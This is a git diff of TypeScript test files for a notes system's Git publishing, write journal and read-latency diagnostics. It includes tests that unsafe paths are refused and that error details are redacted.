+ .toEqual({ kind: 'git', state: 'committed', push: 'committed' });
+});
+
+test('captured URI decoding preserves native drives and literal filename characters within the root', () => {
+ const f = gitFixture(); fixtures.push(f);
+ const authored = join('Notes', 'Captured #100%.md');
+ const target = join(f.root, authored);
+ expect(recordedPathFromFileUri(pathToFileURL(target).href, f.root)).toBe(authored);
+ expect(recordedPathFromFileUri(`file://${target}`, f.root)).toBe(authored);
+ expect(recordedPathFromFileUri(pathToFileURL(join(f.home, 'outside.md')).href, f.root)).toBeNull();
+ expect(recordedPathFromFileUri(`${pathToFileURL(f.root).href}/bad%00.md`, f.root)).toBeNull();
+ if (process.platform === 'win32') {
+ const drive = f.root[0].toUpperCase() === 'C' ? 'D' : 'C';
+ expect(recordedPathFromFileUri(`file:///${drive}:/outside.md`, f.root)).toBeNull();
+ } else {
+ expect(recordedPathFromFileUri('file:///C:/brain/Notes/example.md', '/C:/brain')).toBe('Notes/example.md');
+ }
+});
+
+test('mixed-case captured file URI publishes its exact bound file through the journal', async () => {
+ const f = await fixture(); const slug = 'notes/captured-uri';
+ const target = join(f.root, 'Notes', 'Captured Note.md');
+ const uri = pathToFileURL(f.caseInsensitive ? join(f.root, 'notes', 'captured note.md') : target).href;
+ await engine.putPage(slug, page('Before capture'), { sourceId: f.sourceId });
+ await engine.executeRaw('UPDATE pages SET source_uri=$1 WHERE source_id=$2 AND slug=$3', [uri, f.sourceId, slug]);
+ const snapshot = (await engine.readPageSnapshot(slug, { sourceId: f.sourceId }))!;
+ const before = serializePageToMarkdown(snapshot.page, snapshot.tags); writeFileSync(target, before);
+ const fallback = join(f.root, `${slug}.md`); mkdirSync(dirname(fallback), { recursive: true }); writeFileSync(fallback, 'Unrelated fallback\n');
+ const { row, receipt, effect, file } = await publish(f, slug);
+ expect(file).toMatchObject({ root: f.root, path: target, expectedBeforeHash: sha256(before) });
+ expect(effect.data).toMatchObject({ relative_path: 'Notes/Captured Note.md', expected_hash: sha256('Published\n') });
+ expect(await run(effect.id)).toMatchObject({ id: effect.id, request_id: row.id,
+ state: 'committed', data: effect.data, outcome: { git: 'committed', push: 'committed' } });
+ expectBlob(f, 'Notes/Captured Note.md');
+ expect(git(f.remote, 'ls-tree', '-r', '-z', '--name-only', 'refs/heads/main')).toBe('Notes/Captured Note.md\0initial.md\0');
+ expect(readFileSync(fallback, 'utf8')).toBe('Unrelated fallback\n');
+ expect((await engine.readPageSnapshot(slug, { sourceId: f.sourceId }))!.page.source_uri).toBe(uri);
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+});
+
+test('real Git effect keeps glob neighbors staged and out of the remote', async () => {
+ const f = await fixture();
+ writeFileSync(join(f.root, 'a1.md'), 'Unrelated\n'); git(f.root, 'add', 'a1.md');
+ const index = git(f.root, 'ls-files', '--stage', '-z', '--', 'a1.md');
+ const { effect } = await publish(f, 'bracketed', { oldPath: 'a[1].md' });
+ expect(await run(effect.id)).toMatchObject({ state: 'committed', outcome: { git: 'committed', push: 'committed' } });
+ expectBlob(f, 'a[1].md');
+ expect(git(f.remote, 'ls-tree', '-r', '--name-only', 'refs/heads/main')).toBe('a[1].md\ninitial.md\n');
+ expect(git(f.root, 'ls-files', '--stage', '-z', '--', 'a1.md')).toBe(index);
+});
+
+test('queued Git work respects the native owner lock and expected file hash', async () => {
+ const f = await fixture();
+ const { effect, file } = await publish(f, 'notes/guarded');
+ const lock = (await acquireWorktree(f.binding))!;
+ expect(lock).not.toBeNull();
+ try { expect(await run(effect.id)).toMatchObject({ state: 'queued', error_code: 'writer_busy' }); }
+ finally { await lock.release(); }
+ writeFileSync(file.path, 'External edit\n');
+ const index = readFileSync(join(f.root, '.git', 'index'));
+ expect(await run(effect.id)).toMatchObject({ state: 'committed', outcome: { git: 'superseded' } });
+ expect(git(f.remote, 'ls-tree', '-r', '--name-only', 'refs/heads/main')).toBe('initial.md\n');
+ expect(readFileSync(join(f.root, '.git', 'index'))).toEqual(index);
+});
+
+test('root replacement refuses queued work without changing canonical receipts', async () => {
+ const f = await fixture();
+ const { effect, row, receipt } = await publish(f, 'notes/replaced');
+ const displaced = join(f.home, 'displaced'); renameSync(f.root, displaced); mkdirSync(f.root);
+ const result = await run(effect.id);
+ expect(result.state).toBe('queued');
+ expect(result.error_code).toBe('recovery_required');
+ expect(git(f.remote, 'ls-tree', '-r', '--name-only', 'refs/heads/main')).toBe('initial.md\n');
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+});
+
+for (const staged of [false, true]) test(`old queued deletion refuses an unprovable spelling without rewriting its identity (staged=${staged})`, async () => {
+ const f = await fixture();
+ writeFileSync(join(f.root, 'Notes', 'Old.md'), 'Tracked\n');
+ git(f.root, 'add', 'Notes/Old.md'); git(f.root, '-c', 'core.hooksPath=', 'commit', '-m', 'Tracked target'); git(f.root, 'push');
+ rmSync(join(f.root, 'Notes', 'Old.md'));
+ if (staged) git(f.root, 'add', '-u', '--', 'Notes/Old.md');
+ const { effect, row, receipt } = await publish(f, 'notes/old', { oldPath: 'Notes/old.md', deletion: true });
+ const head = git(f.root, 'rev-parse', 'HEAD');
+ const index = readFileSync(join(f.root, '.git', 'index'));
+ expect(await run(effect.id)).toMatchObject({ state: 'queued', error_code: 'git_target_unsafe', data: effect.data });
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(head);
+ expect(readFileSync(join(f.root, '.git', 'index'))).toEqual(index);
+ expect(git(f.remote, 'show', 'refs/heads/main:Notes/Old.md')).toBe('Tracked\n');
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+});
+
+test('queued Git target cannot escape through a replaced ancestor symlink', async () => {
+ const f = await fixture();
+ const { effect, row, receipt, file } = await publish(f, 'notes/escape');
+ const external = join(f.home, 'external'); mkdirSync(external); writeFileSync(join(external, 'escape.md'), 'Published\n');
+ rmSync(dirname(file.path), { recursive: true });
+ symlinkSync(external, dirname(file.path), process.platform === 'win32' ? 'junction' : 'dir');
+ const index = readFileSync(join(f.root, '.git', 'index'));
+ expect(await run(effect.id)).toMatchObject({ state: 'queued', error_code: 'source_changed', data: effect.data });
+ expect(readFileSync(join(external, 'escape.md'), 'utf8')).toBe('Published\n');
+ expect(readFileSync(join(f.root, '.git', 'index'))).toEqual(index);
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+});
+
+test('native ambiguous old queued alias refuses without choosing a hardlink', async () => {
+ const f = await fixture();
+ if (!f.caseInsensitive) return;
+ const { effect, row, receipt, file } = await publish(f, 'notes/old', { oldPath: 'notes/old.md' });
+ renameSync(file.path, join(f.root, 'Notes', 'temporary.md'));
+ renameSync(join(f.root, 'Notes', 'temporary.md'), join(f.root, 'Notes', 'Old.md'));
+ linkSync(join(f.root, 'Notes', 'Old.md'), join(f.root, 'Notes', 'Other.md'));
+ const index = readFileSync(join(f.root, '.git', 'index'));
+ expect(await run(effect.id)).toMatchObject({ state: 'queued', error_code: 'git_target_unsafe', data: effect.data });
+ expect(git(f.remote, 'ls-tree', '-r', '--name-only', 'refs/heads/main')).toBe('initial.md\n');
+ expect(readFileSync(join(f.root, '.git', 'index'))).toEqual(index);
+ expect(await getWriteRequestById(engine, row.id)).toEqual(receipt);
+});
+
+test.skipIf(process.platform === 'win32')('recorded POSIX literal backslash does not select its slash neighbor', async () => {
+ const f = await fixture(); const slug = 'literal';
+ await engine.putPage(slug, page('Before'), { sourceId: f.sourceId });
+ await engine.executeRaw('UPDATE pages SET source_path=$1 WHERE source_id=$2 AND slug=$3', ['literal\\page.md', f.sourceId, slug]);
+ const snapshot = (await engine.readPageSnapshot(slug, { sourceId: f.sourceId }))!;
+ writeFileSync(join(f.root, 'literal\\page.md'), serializePageToMarkdown(snapshot.page, snapshot.tags));
+ const neighbor = join(f.root, 'literal', 'page.md'); mkdirSync(dirname(neighbor)); writeFileSync(neighbor, 'Unrelated\n');
+ const { effect } = await publish(f, slug);
+ expect(await run(effect.id)).toMatchObject({ state: 'committed', outcome: { git: 'committed', push: 'committed' } });
+ expectBlob(f, 'literal\\page.md');
+ expect(readFileSync(neighbor, 'utf8')).toBe('Unrelated\n');
+});
diff --git a/test/persistence-read-diagnostics.serial.test.ts b/test/persistence-read-diagnostics.serial.test.ts
new file mode 100644
index 0000000000..8230618278
--- /dev/null
+++ b/test/persistence-read-diagnostics.serial.test.ts
@@ -0,0 +1,136 @@
+import { expect, test } from 'bun:test';
+import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join, resolve } from 'node:path';
+import { childEnvironment } from '../scripts/persistence/validate.ts';
+import { summarizeReadRuns } from '../scripts/persistence/read-metrics.ts';
+
+async function child(code: string) {
+ const home = mkdtempSync(join(tmpdir(), 'gbrain-read-diagnostics-test-'));
+ const script = join(home, 'run.ts');
+ writeFileSync(script, code);
+ try {
+ const proc = Bun.spawn([process.execPath, '--no-env-file', script], {
+ env: childEnvironment(home), stdin: 'ignore', stdout: 'pipe', stderr: 'pipe',
+ });
+ const timer = setTimeout(() => proc.kill('SIGKILL'), 90_000);
+ const [output, stderr, exit] = await Promise.all([new Response(proc.stdout).text(), new Response(proc.stderr).text(), proc.exited])
+ .finally(() => clearTimeout(timer));
+ expect({ exit, stderr: exit ? stderr : '' }).toEqual({ exit: 0, stderr: '' });
+ return JSON.parse(output.split('\n').find(line => line.startsWith('{"diagnostic_test":'))!).result;
+ } finally { rmSync(home, { recursive: true, force: true }); }
+}
+
+const workloadImport = JSON.stringify(resolve(import.meta.dir, '../scripts/persistence/read-workload.ts'));
+const engineImport = JSON.stringify(resolve(import.meta.dir, '../src/core/pglite-engine.ts'));
+const admissionImport = JSON.stringify(resolve(import.meta.dir, '../scripts/persistence/read-admission.ts'));
+const options = '{ pages: 5, queries: 20, writers: 1, writesPerWriter: 25 }';
+
+test('tiny keyless manifest retains diagnostics without claiming a full gate', async () => {
+ const performanceImport = JSON.stringify(resolve(import.meta.dir, '../scripts/persistence/performance.ts'));
+ const result = await child(`
+ import { readFileSync } from 'node:fs';
+ import { runReadPerformance } from ${performanceImport};
+ const manifest = process.env.GBRAIN_HOME + '/diagnostics.json';
+ await runReadPerformance({ ...${options}, manifest });
+ console.log(JSON.stringify({ diagnostic_test: true, result: JSON.parse(readFileSync(manifest, 'utf8')) }));
+ `);
+ expect(result.full_gate).toBe(false);
+ expect(result.requested).toEqual({ pages: 5, queries: 20, writers: 1, writesPerWriter: 25, runs: 3, thresholdPct: 50 });
+ expect(result.runs).toHaveLength(3);
+ expect(result.source_hashes['scripts/persistence/read-diagnostics.ts']).toMatch(/^[a-f0-9]{64}$/);
+ expect(result.ok).toBe(summarizeReadRuns(result.runs).ok);
+ expect(result.verdict).toBe(summarizeReadRuns(result.runs).verdict);
+ for (const run of result.runs) {
+ if (!run.ok) {
+ console.error(`Retained invalid tiny workload: ${JSON.stringify(run)}`);
+ expect(result.verdict).toBe('fail');
+ expect(run.diagnostics.failures.total).toBeGreaterThan(0);
+ expect(run.diagnostics.failures.records.every((r: any) => r.stage === 'validate')).toBe(true);
+ }
+ expect(run.diagnostics.reads.records.filter((r: any) => r.phase === 'idle')).toHaveLength(20);
+ expect(run.diagnostics.reads.records.filter((r: any) => r.phase === 'loaded')).toHaveLength(20);
+ expect(run.diagnostics.writes.records.some((r: any) => r.event === 'admitted')).toBe(true);
+ expect(run.diagnostics.writes.records.some((r: any) => r.event === 'committed')).toBe(true);
+ expect(run.metrics_retention.total).toBe(run.metrics.length);
+ }
+}, 120_000);
+
+test('RSS failure retains partial reads and safe stage/errno; a successful later sample cannot clear it', async () => {
+ const result = await child(`
+ import { PGLiteEngine } from ${engineImport};
+ import { runReadLatencyWorkload } from ${workloadImport};
+ import { WriteTimingRecorder } from ${admissionImport};
+ let loaded = false; let releaseCommit;
+ const committed = new Promise(resolve => { releaseCommit = resolve; });
+ const complete = WriteTimingRecorder.prototype.complete;
+ WriteTimingRecorder.prototype.complete = function(...args) {
+ const result = complete.apply(this, args);
+ if (loaded) releaseCommit();
+ return result;
+ };
+ const keyword = PGLiteEngine.prototype.searchKeyword; let reads = 0;
+ PGLiteEngine.prototype.searchKeyword = async function(...args) {
+ if (++reads === 22) { loaded = true; await committed; }
+ return keyword.apply(this, args);
+ };
+ const execute = PGLiteEngine.prototype.executeRaw;
+ const interval = globalThis.setInterval;
+ let sampler; let late = false; let injected = false;
+ globalThis.setInterval = function(fn, ms, ...args) {
+ if (ms === 250) sampler = fn;
+ return interval(fn, ms, ...args);
+ };
+ const memory = process.memoryUsage;
+ process.memoryUsage = Object.assign(function() {
+ if (late && !injected) {
+ injected = true;
+ throw Object.assign(new Error('unsafe payload /private/path postgres://secret'), { name: 'SystemError', code: 'ENOMEM', errno: -12 });
+ }
+ return memory();
+ }, memory);
+ PGLiteEngine.prototype.executeRaw = async function(sql, ...args) {
+ if (sql === 'SELECT count(*)::integer AS n FROM pages') {
+ late = true;
+ sampler();
+ }
+ return execute.call(this, sql, ...args);
+ };
+ const result = await runReadLatencyWorkload(${options});
+ console.log(JSON.stringify({ diagnostic_test: true, result: { ...result, injected, subsequent_rss_succeeded: memory().rss > 0 } }));
+ `);
+ expect(result.injected).toBe(true);
+ expect(result.subsequent_rss_succeeded).toBe(true);
+ expect(result.ok).toBe(false);
+ expect(result.overlap_pct).toBeGreaterThanOrEqual(90);
+ expect(result.phase_a.queries_run).toBe(20);
+ expect(result.phase_b.queries_run).toBe(20);
+ expect(result.phase_b.writes_committed_during_reads).toBeGreaterThan(0);
+ expect(result.phase_b.writes_failed).toBe(0);
+ expect(result.admission.count).toBe(result.phase_b.writes_completed);
+ expect(result.commit.count).toBe(result.phase_b.writes_completed);
+ const failure = result.diagnostics.failures.records.find((r: any) => r.stage === 'metrics_rss');
+ expect(failure.error).toEqual({ name: 'SystemError', code: 'ENOMEM', errno: -12, stack_present: true });
+ expect(JSON.stringify(result)).not.toContain('unsafe payload');
+ expect(JSON.stringify(result)).not.toContain('postgres://secret');
+ expect(result.metrics.length).toBeGreaterThan(0);
+}, 120_000);
+
+test('failed loaded lexical arm remains invalid and retains its partial query without raw errors', async () => {
+ const result = await child(`
+ import { PGLiteEngine } from ${engineImport};
+ import { runReadLatencyWorkload } from ${workloadImport};
+ const original = PGLiteEngine.prototype.searchKeyword; let calls = 0;
+ PGLiteEngine.prototype.searchKeyword = async function(...args) {
+ if (++calls === 24) throw new Error('unsafe lexical payload');
+ return original.apply(this, args);
+ };
+ const result = await runReadLatencyWorkload(${options});
+ console.log(JSON.stringify({ diagnostic_test: true, result }));
+ `);
+ expect(result.ok).toBe(false);
+ expect(result.phase_a.queries_run).toBe(20);
+ expect(result.diagnostics.reads.records.some((r: any) => r.phase === 'loaded' && r.outcome === 'rejected')).toBe(true);
+ expect(result.diagnostics.failures.records.some((r: any) => r.stage === 'keyword')).toBe(true);
+ expect(JSON.stringify(result)).not.toContain('unsafe lexical payload');
+}, 120_000);
diff --git a/test/persistence-read-diagnostics.test.ts b/test/persistence-read-diagnostics.test.ts
new file mode 100644
index 0000000000..2e0b9fd045
--- /dev/null
+++ b/test/persistence-read-diagnostics.test.ts
@@ -0,0 +1,163 @@
+import { describe, expect, test } from 'bun:test';
+import { BoundedRecords, ReadDiagnostics, safeDiagnosticError } from '../scripts/persistence/read-diagnostics.ts';
+import { WriteTimingRecorder } from '../scripts/persistence/read-admission.ts';
+import { isolatedPersistencePostgres } from './helpers/persistence-postgres.ts';
+
+describe('bounded read diagnostics', () => {
+ test('counts truncation without replacing retained records', () => {
+ const bounded = new BoundedRecords<number>(2);
+ for (let i = 0; i < 5; i++) bounded.add(i);
+ expect({ ...bounded }).toEqual({ limit: 2, records: [0, 1], total: 5, dropped: 3 });
+ expect(() => new BoundedRecords(-1)).toThrow('Invalid diagnostic limit');
+ });
+
+ test('retains exact query duration, phase at dispatch, and failed partial reads', async () => {
+ const diagnostics = new ReadDiagnostics(performance.now(), 'pglite');
+ diagnostics.setPhase('idle');
+ try {
+ const result = await diagnostics.read(7, 2, async () => {
+ expect(diagnostics.context.getStore()).toEqual({ phase: 'idle', query_index: 7 });
+ diagnostics.setPhase('loaded');
+ return 42;
+ });
+ expect(result.value).toBe(42);
+ const read = diagnostics.reads.records[0];
+ expect(read.phase).toBe('idle');
+ expect(read.query_index).toBe(7);
+ expect(read.corpus_index).toBe(2);
+ expect(read.duration_ms).toBe(result.duration);
+ expect(read.end_ms! - read.start_ms).toBeCloseTo(result.duration, 8);
+ const failure = new Error('unsafe content');
+ await expect(diagnostics.read(8, 3, async () => { throw failure; })).rejects.toBe(failure);
+ expect(diagnostics.reads.records[1].outcome).toBe('rejected');
+ expect(diagnostics.reads.records[1].phase).toBe('loaded');
+ expect(diagnostics.reads.records[1].end_ms).not.toBeNull();
+ expect(JSON.stringify(diagnostics)).not.toContain('unsafe content');
+ expect(diagnostics.context.getStore()).toBeUndefined();
+ expect(diagnostics.transaction_support).toBe('unavailable_pglite');
+ } finally { diagnostics.stop(); }
+ });
+
+ test('root dispatch preserves receiver, arguments, callback result and original promise', async () => {
+ const diagnostics = new ReadDiagnostics(performance.now(), 'postgres');
+ const handle = { secret: 'unsafe SID' }; const receiver = { receiver: true };
+ let promise: Promise<unknown>;
+ const root = { begin(this: unknown, option: unknown, callback: (...args: any[]) => any) {
+ expect(this).toBe(receiver); expect(option).toBe('unsafe transaction options');
+ promise = Promise.resolve().then(() => callback.call(receiver, handle, 19));
+ return promise;
+ } };
+ const original = root.begin; const restore = diagnostics.observeRootBegin(root);
+ let release!: () => void;
+ const pending = new Promise<void>(resolve => { release = resolve; });
+ const returned = diagnostics.context.run({ phase: 'setup', query_index: 3 }, () => root.begin.call(receiver, 'unsafe transaction options', function(this: unknown, ...args: unknown[]) {
+ expect(this).toBe(receiver); expect(args).toEqual([handle, 19]);
+ return pending.then(() => handle);
+ }));
+ expect(returned).toBe(promise!);
+ expect(diagnostics.transactions.setup.records[0].callback_ms).toBeNull();
+ await Promise.resolve();
+ expect(diagnostics.transactions.setup.records[0].outcome).toBe('pending');
+ release(); expect(await returned).toBe(handle);
+ const record = diagnostics.transactions.setup.records[0];
+ expect(record.query_index).toBe(3);
+ expect(record.callback_ms!).toBeGreaterThanOrEqual(record.dispatch_ms);
+ expect(record.end_ms!).toBeGreaterThanOrEqual(record.callback_ms!);
+ expect(record.dispatch_to_callback_ms).toBe(record.callback_ms! - record.dispatch_ms);
+ expect(record.outcome).toBe('fulfilled');
+ expect(JSON.stringify(diagnostics)).not.toContain('unsafe');
+ restore(); expect(root.begin).toBe(original);
+ });
+
+ test('preserves synchronous throws and pre/post callback rejection identity', async () => {
+ for (const mode of ['sync', 'before', 'callback'] as const) {
+ const diagnostics = new ReadDiagnostics(performance.now(), 'postgres');
+ const error = new Error('unsafe error');
+ const root = { begin(fn: () => unknown) {
+ if (mode === 'sync') throw error;
+ if (mode === 'before') return Promise.reject(error);
+ return Promise.resolve().then(fn);
+ } };
+ diagnostics.observeRootBegin(root);
+ if (mode === 'sync') expect(() => root.begin(() => {})).toThrow(error);
+ else await expect(root.begin(() => { throw error; })).rejects.toBe(error);
+ const record = diagnostics.transactions.setup.records[0];
+ expect(record.outcome).toBe('rejected');
+ expect(record.end_ms).not.toBeNull();
+ expect(record.callback_ms === null).toBe(mode !== 'callback');
+ }
+ });
+
+ test('bounds each phase independently and attributes background transactions to no query', async () => {
+ const diagnostics = new ReadDiagnostics(performance.now(), 'postgres');
+ const root = { begin(fn: () => unknown) { return Promise.resolve(fn()); } };
+ diagnostics.observeRootBegin(root);
+ for (let i = 0; i < 4100; i++) await root.begin(() => 1);
+ expect(diagnostics.transactions.setup.total).toBe(4100);
+ expect(diagnostics.transactions.setup.dropped).toBe(4);
+ diagnostics.setPhase('idle');
+ try {
+ await diagnostics.read(4, 4, async () => {
+ diagnostics.setPhase('loaded');
+ await root.begin(() => 2);
+ });
+ diagnostics.setPhase('idle');
+ await root.begin(() => 3);
+ expect(diagnostics.transactions.idle.records.map(r => r.query_index)).toEqual([4, null]);
+ expect(diagnostics.transactions.idle.dropped).toBe(0);
+ await Bun.sleep(45);
+ expect(diagnostics.event_loop.idle.total).toBeGreaterThan(0);
+ expect(diagnostics.event_loop.idle.records.every(r => r.phase === 'idle' && r.end_ms >= r.start_ms && r.delay_ms >= 0)).toBe(true);
+ } finally { diagnostics.stop(); }
+ });
+
+ test('write observations keep numeric identity across warmup reset without exposing request IDs', () => {
+ const diagnostics = new ReadDiagnostics(100, 'pglite');
+ const recorder = new WriteTimingRecorder((event, index, at) => diagnostics.write(event, index, at));
+ recorder.start('unsafe request UUID', 110); recorder.admitted('unsafe request UUID', 120); recorder.complete('unsafe request UUID', 130);
+ recorder.reset(); recorder.start('unsafe second UUID', 150); recorder.admitted('unsafe second UUID', 160);
+ expect(diagnostics.writes.records.map(r => [r.write_index, r.event, r.at_ms])).toEqual([
+ [0, 'start', 10], [0, 'admitted', 20], [0, 'committed', 30], [1, 'start', 50], [1, 'admitted', 60],
+ ]);
+ expect(JSON.stringify(diagnostics)).not.toContain('unsafe');
+ });
+
+ test('errors retain only allowlisted structure, never messages, paths, SQL or arbitrary properties', () => {
+ const unsafe = 'SELECT secret FROM private WHERE sid=secret postgres://secret /private/path';
+ expect(safeDiagnosticError({ name: 'SystemError', code: 'ENOMEM', errno: -12, syscall: 'memoryUsage',
+ message: unsafe, stack: unsafe, detail: unsafe, parameters: [unsafe] })).toEqual({
+ name: 'SystemError', code: 'ENOMEM', errno: -12, syscall: 'memoryUsage', stack_present: true,
+ });
+ expect(safeDiagnosticError({ name: unsafe, code: unsafe, errno: unsafe, syscall: unsafe })).toEqual({ name: 'unknown', stack_present: false });
+ const diagnostics = new ReadDiagnostics(performance.now(), 'pglite');
+ for (let i = 0; i < 35; i++) diagnostics.failure('metrics_rss', new Error(unsafe));
+ expect(diagnostics.failures.total).toBe(35); expect(diagnostics.failures.dropped).toBe(3);
+ expect(JSON.stringify(diagnostics)).not.toContain(unsafe);
+ expect(safeDiagnosticError(new Proxy({}, { get() { throw new Error(unsafe); } }))).toEqual({ name: 'unknown', stack_present: false });
+ });
+
+ test.skipIf(!process.env.DATABASE_URL)('actual PostgreSQL lexical reads enter the observed root; nested savepoints do not', async () => {
+ const { engine, close } = await isolatedPersistencePostgres(process.env.DATABASE_URL!);
+ const diagnostics = new ReadDiagnostics(performance.now(), 'postgres');
+ const restore = diagnostics.observeRootBegin(engine.sql);
+ diagnostics.setPhase('idle');
+ try {
+ await diagnostics.read(0, 0, async () => {
+ await Promise.all([engine.searchKeyword('fixture'), engine.searchTitles('fixture')]);
+ });
+ expect(diagnostics.transactions.idle.total).toBe(2);
+ expect(diagnostics.transactions.idle.records.every(r => r.query_index === 0 && r.outcome === 'fulfilled' && r.callback_ms !== null)).toBe(true);
+ await engine.transaction(async tx => {
+ await tx.transaction(async nested => { await nested.executeRaw('SELECT 1'); });
+ const rejected = new Error('nested rollback');
+ await expect(tx.transaction(async () => { throw rejected; })).rejects.toBe(rejected);
+ expect((await tx.executeRaw<{ n: number }>('SELECT 2::integer AS n'))[0].n).toBe(2);
+ });
+ expect(diagnostics.transactions.idle.total).toBe(3);
+ expect(diagnostics.transactions.idle.records[2].query_index).toBeNull();
+ const rejected = new Error('root rollback');
+ await expect(engine.transaction(async () => { throw rejected; })).rejects.toBe(rejected);
+ expect(diagnostics.transactions.idle.records[3].outcome).toBe('rejected');
+ } finally { restore(); diagnostics.stop(); await close(); }
+ }, 120_000);
+});
diff --git a/test/persistence-skill-bundles.serial.test.ts b/test/persistence-skill-bundles.serial.test.ts
index 146dd5d50a..a27269f622 100644
--- a/test/persistence-skill-bundles.serial.test.ts
+++ b/test/persistence-skill-bundles.serial.test.ts
@@ -1,5 +1,6 @@
import { afterAll, beforeAll, describe, expect, test } from 'bun:test';
import { randomUUID } from 'node:crypto';
+import { execFileSync } from 'node:child_process';
import { chmodSync, existsSync, linkSync, mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
@@ -23,6 +24,7 @@ import { prepareManagedSyncMutation, type SyncIntent } from '../src/core/persist
import { managedSyncAuthority } from '../src/core/persistence/sync-authority.ts';
import { SHARED_SKILLS_PERSISTENCE_SCHEMA_STATEMENTS } from '../src/core/shared-skills/persistence-schema.ts';
import { isolatedPersistencePostgres } from './helpers/persistence-postgres.ts';
+import { makeGitFixture } from './helpers/git-fixture.ts';
const home = mkdtempSync(join(tmpdir(), 'gbrain-skill-persistence-'));
const oldHome = process.env.GBRAIN_HOME;
@@ -39,7 +41,9 @@ beforeAll(async () => {
if (process.env.DATABASE_URL) engines.push(await isolatedPersistencePostgres(process.env.DATABASE_URL));
for (const item of engines) {
for (const statement of SHARED_SKILLS_PERSISTENCE_SCHEMA_STATEMENTS) await item.engine.executeRaw(statement);
- const root = join(home, item.engine.kind); mkdirSync(root);
+ const gitRoot = join(home, item.engine.kind); mkdirSync(gitRoot);
+ await makeGitFixture(gitRoot);
+ const root = join(gitRoot, 'content'); mkdirSync(root);
await item.engine.executeRaw('INSERT INTO sources(id,name,local_path) VALUES($1,$1,$2)', [sourceId, root]);
await registerLocalWriter(item.engine, 'cli');
const binding = await claimWorktree(item.engine, sourceId, root);
@@ -334,8 +338,10 @@ describe('typed skill bundle persistence', () => {
mkdirSync(join(f.root, 'skills', name), { recursive: true });
writeFileSync(join(f.root, path), body);
const intent: SyncIntent = { kind: 'managed_sync_import', expected_revision: null, sourcePath, path,
+ processingOptions: { noEmbed: true, noExtract: true, noSchemaPack: true },
rawHash: sha256(body), content: body, ownerEpoch: String(f.binding.owner_epoch), syncAuthority: authority,
- cursorKey: 'example-frozen-sync', runId: randomUUID(), index: 0, total: 1, from: null, target: 'example-target', slugMode: 'git-root' };
+ cursorKey: 'example-frozen-sync', runId: randomUUID(), index: 0, total: 1, from: null,
+ target: execFileSync('git', ['-C', f.root, 'rev-parse', 'HEAD'], { encoding: 'utf8' }).trim(), slugMode: 'git-root' };
const admission: WriteAdmission = { principal: authority.writer.principal, operation: 'submit_job', sourceId,
sourceIncarnation: f.binding.source_incarnation, slug, worktreeId: f.binding.worktree_id,
topologyGeneration: f.binding.topology_generation, authority: authority.writer, requestId: randomUUID(), callerIntent: intent, intent };
diff --git a/test/persistence-sync-company.serial.test.ts b/test/persistence-sync-company.serial.test.ts
new file mode 100644
index 0000000000..422afafebf
--- /dev/null
+++ b/test/persistence-sync-company.serial.test.ts
@@ -0,0 +1,159 @@
+import { afterAll, beforeAll, expect, spyOn, test } from 'bun:test';
+import { randomUUID } from 'node:crypto';
+import { dirname, join } from 'node:path';
+import { mkdtempSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import type { BrainEngine } from '../src/core/engine.ts';
+import { PGLiteEngine } from '../src/core/pglite-engine.ts';
+import { inspectCompanyBrain } from '../src/core/company-brain/inspection.ts';
+import { admitCompanyBrain } from '../src/core/company-brain/admission.ts';
+import { connectCompanyBrain, resumeCompanyBrain } from '../src/core/company-brain/runtime.ts';
+import { companyBrainProfile, companyBrainPolicyFingerprint } from '../src/core/company-brain/policy.ts';
+import { performSync } from '../src/commands/sync.ts';
+import { claimWorktree } from '../src/core/persistence/ownership.ts';
+import { admitWrite, getWriteRequest } from '../src/core/persistence/journal.ts';
+import { sha256 } from '../src/core/persistence/digest.ts';
+import type { SyncIntent } from '../src/core/persistence/sync-prepare.ts';
+import { disposePersistenceConsumer } from '../src/core/persistence/service.ts';
+import { APPLICATION_AUTHORITY, withSubmissionAuthority } from '../src/core/minions/submission-authority.ts';
+import { isolatedPersistencePostgres } from './helpers/persistence-postgres.ts';
+import { makeGitFixture } from './helpers/git-fixture.ts';
+import { withEnv } from './helpers/with-env.ts';
+
+const home = mkdtempSync(join(tmpdir(), 'gbrain-sync-company-'));
+const stores: Array<{ engine: BrainEngine; close: () => Promise<void> }> = [];
+beforeAll(async () => {
+ const engine = new PGLiteEngine(); await engine.connect({}); await engine.initSchema();
+ stores.push({ engine, close: () => engine.disconnect() });
+ if (process.env.DATABASE_URL) stores.push(await isolatedPersistencePostgres(process.env.DATABASE_URL));
+}, 120_000);
+afterAll(async () => {
+ for (const store of stores) { await disposePersistenceConsumer(store.engine); await store.close(); }
+ rmSync(home, { recursive: true, force: true });
+});
+const check = (name: string, run: (engine: BrainEngine) => Promise<void>) => test(name, () =>
+ withEnv({ GBRAIN_HOME: home, GBRAIN_SYNC_FAILURES_DIR: home, GBRAIN_SOURCE: undefined }, async () => {
+ for (const { engine } of stores) await run(engine);
+ }), 120_000);
+async function input(engine: BrainEngine, managed: boolean) {
+ await disposePersistenceConsumer(engine);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=$1 WHERE singleton=1', [managed]);
+ const root = mkdtempSync(join(home, 'source-')), git = await makeGitFixture(root);
+ for (const [path, content] of Object.entries({
+ 'people/operator.md': '---\ntype: person\ntitle: Example Operator\n---\n# Example Operator\nOwns the account.\n',
+ 'customers/account.md': '---\ntype: customer\ntitle: Example Account\nowner: "[[people/operator]]"\naudience: internal\n---\n# Example Account\nA synthetic account.\n',
+ })) { mkdirSync(dirname(join(root, path)), { recursive: true }); writeFileSync(join(root, path), content); }
+ git.commitAll('Add approved synthetic source');
+ const plan = await inspectCompanyBrain({ path: root, profile: 'company-brain' });
+ expect(plan.ready).toBe(true);
+ return { brainId: 'company-example', sourceId: `company-${randomUUID().slice(0, 12)}`, path: root, plan, remote: false, requestId: randomUUID() };
+}
+
+check('company GRAPH resume is refused before any receipt or graph update when claimed but inactive', async engine => {
+ const f = await input(engine, false), replace = engine.replaceDerivedLinks;
